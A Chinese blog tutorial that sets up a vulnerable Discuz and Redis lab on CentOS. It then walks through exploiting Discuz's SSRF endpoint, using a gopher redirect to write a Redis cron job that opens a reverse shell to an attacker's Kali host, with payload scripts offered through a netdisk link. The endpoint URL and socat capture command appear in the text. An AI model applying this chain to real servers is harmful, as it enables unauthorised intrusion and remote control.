都在这里面了,有需要的自取即可
链接:https://pan.baidu.com/s/1suQgMYN_Z8yOJFKgditnKQ
提取码:75cv
这个服务我只能说顶级
今天的内容是ssrf漏洞的利用,环境选择的是discuz含有ssrf漏洞的版本,通过该漏洞来写入redis计划任务反弹shell,直接看操作
一:搭建基于centos的discuz+redis服务
1.discuz简介
Discuz是一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。而这个discuz在历史上的一个版本中存在ssrf漏洞,这个版本也是今天我们要用到的版本
2.discuz下载
1.LAMP
lamp就是搭建discuz的前提,有了lamp才能开始搭建discuz
LAMP中,L代表linux系统,A代表apache中间件,M代表mysql数据库,P代表PHP
LAMP的安装也是有顺序的,首先要安装的就是apache,执行下面的语句就行了
安装apache命令:
1、安装 Yum install -y httpd httpd-devel
2、启动 Service httpd.service start
3、查看状态 Service httpd.service status
启动后访问127.0.0.1,如果像我一样能回显页面就是成功了
第二个要安装的就是mysql数据库了
这里因为单纯的mysql数据库安装很麻烦,我们又是只需要靶场环境,所以这里就安装mysql的另一个版本mariadb,指令如下:
1、安装 Yum -y install mariadb mariadb-server mariadb-libs mariadb-devel
2、启动mariadb服务 Service mariadb.service start
3、查看状态 Service mariadb.service status
Netstat -an 查看端口
如果查看端口开启情况能看到3306端口就是成功了
第三个要安装的就是php
1、安装PHP Yum -y install php
2、将php与mysql关联起来 Yum -y install php-mysql
2.discuz的安装
然后关闭防火墙,在物理机上就能访问centos的ip加上upload来安装discuz了 ,无脑下一步,直到开始设置数据库这里
注意这里的数据库密码要留空,因为刚才设置mysql并没设置数据库密码,再点下一步,就可以访问下面这个页面了
到这里discuz就安装好了
3.搭建redis服务
1.下载redis压缩包
这里就要用到网盘里的redis那个压缩包了,同样需要把他放在centos里面,但是不需要放到centos的根目录了,随便放哪都可以(不可以放回收站哈),这边建议放桌面,我这就跳过步骤了,
同样对这个文件解压即可,但是这里不是用unzip语句了,因为这个是tar格式,所以这里用 tar zvxf命令
解压完之后就会生成一个redis-3.0.4的文件,这就是我们要的
2.安装redis服务
1.cd 到刚才解压的文件里面,直接源码安装即可(就是输入make即可)
2.进入到src文件夹中,找到里面存在的redis-cli和redis-server文件,这就是redis服务的客户端和服务端
3.打开redis服务
1.开启服务端
在刚才的src文件夹中输入下面的代码来打开redis服务的服务端
./redis-server
成功开启后便是下面这样的界面,这便是开启成功了
2.连接客户端
连接客户端只需要新开一个终端,同样进入到src目录下,输入redis-cli即可成功连接 ,出现我线面这个画面就是连接成功了
到这里redis和discuz就全部搭建好了
二:ssrf操作内网redis写入计划任务反弹shell
1.discuz的ssrf漏洞
1.漏洞点
http://你的centos的ip/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]漏洞点/?data=helo.jpg[/img]
2.漏洞验证
可以先检验一下这个漏洞是否存在,可以在漏洞点的位置输入kali的ip和和一个端口号,例如(192.168.1.111:6666),再在kali用nc监听端口,看是否能获取到信息
可以看到确实收到了信息,所以漏洞存在
3.漏洞利用方式
因为刚刚的http协议测试了没问题,说明存在ssrf漏洞,所以我们尝试下其他的伪协议,比如用ftp协议探测centos的3306端口,但是并没有探测到,说明大概率屏蔽了这些伪协议,这时候我们就可以直接利用http协议做操作,那么具体应该怎样做呢?
因为我们想用的协议被过滤了,所以我们用http协议远程请求我们的文件,而文件内容做一个重定向到我们想用的协议即可达到想要的效果
比如下面这样.打开kali的apache服务,在根目录创建一个aa.php,内容如下
此时用http协议访问kali的这个aa.php即可利用ftp协议来探测3306端口,把漏洞点换成http://kali的ip/aa.php,可以看到页面加载很慢,即检测到了3306端口,这样就可以绕过伪协议检测
2.实操反弹shell
探测到存在ssrf漏洞,并且目标存在一个redis服务,所以就可以尝试操作内网写入计划任务反弹shell
1.socat端口转发工具
功能就是将某个端口的数据转到另一个端口,并且抓包记录下转发的数据
2.制作payload
1.抓取数据包
因为目标是centos7,所以用同样的系统制作payload最好,但是我只有一台centos,所以就新开一个终端来做吧,这里就需要一个aa.sh的脚本(在博客开头的文件里面也有),
注意:这里要把我划线的ip改成自己kali的ip,要让shell反弹到指定位置
其实就是写入计划任务的那几个命令给他集成化到一个脚本里面,构成一个快捷写入计划任务反弹shell的脚本,现在就要想办法让目标(centos)执行这个脚本,来反弹shell到kali里面
这里最好用的方法就是通过抓取centos7的redis服务写入计划任务反弹shell的数据包,再通过http协议利用ssrf漏洞执行这个数据包的内容,即可达到效果
输入下列命令即可开启端口转发
socat -v tcp-listen:2345,fork tcp-connect:localhost:6379
这个命令的意思就是将2222端口和6379端口进行绑定,任何经过2222端口的数据都会转发到6379,并且转发的数据会被记录下来,再利用aa.sh写入计划任务,就可以抓到包了
注意:这样抓取数据包是为了保证目标centos能用这个数据包,所以模拟我们也有一台centos机器,并且在该机器执行了这个脚本抓的包,这样才不会有冲突,最大限度的保证能用
此时在2345端口执行这个脚本
如图所示,第一个终端在socat命令后的所有内容都是抓取的数据包
2.转换数据包格式
此时已经抓取到数据包了,但是并不能直接传输(因为不能识别),所以我们要把他换成其他格式,这里也准备了一个py脚本给你们,也在网盘中,自行取用即可
新建一个日志文件(即log后缀),把上面抓取的数据放进去保存,
注意 :此时文件的格式一定要是unix,可以用vi的底部命令行set ff查看
再利用准备好的py脚本,转换格式
此时拿到的数据包就是我们要用的数据包
3. 利用payload拿shell
在攻击机kali的根目录(var/www/html)创建一个gopher.php文件, 内容和我下面的相同,但是要把127.0.01:6379/后面的内容换成你自己刚抓的数据包,保存退出
此时再用物理机登录到漏洞点,利用discuz的ssrf漏洞的http协议发起对gopher文件的请求,使文件在目标机器(centos中执行)
注意:你如果和我一样,做准备工作时用的同一台centos,那此时你的计划任务里面已经可以反弹shell了,因为前面抓包时已经写入了,如果要看到效果就先把那个计划任务删了
4.接收shell ,复现成功
访问gopher后仍然没有回显,那怎么验证呢 ,
第一个就是开启6666端口的监听,因为aa.sh那个集成化语句我用的6666端口写的计划任务
第二个,因为我们这是靶机环境,也可以直接到centos上看计划任务是否成功写入即可
可以看到,不论是反弹shell还是检查计划任务成功写入,都已经成功了,到这里漏洞就算全部复现完了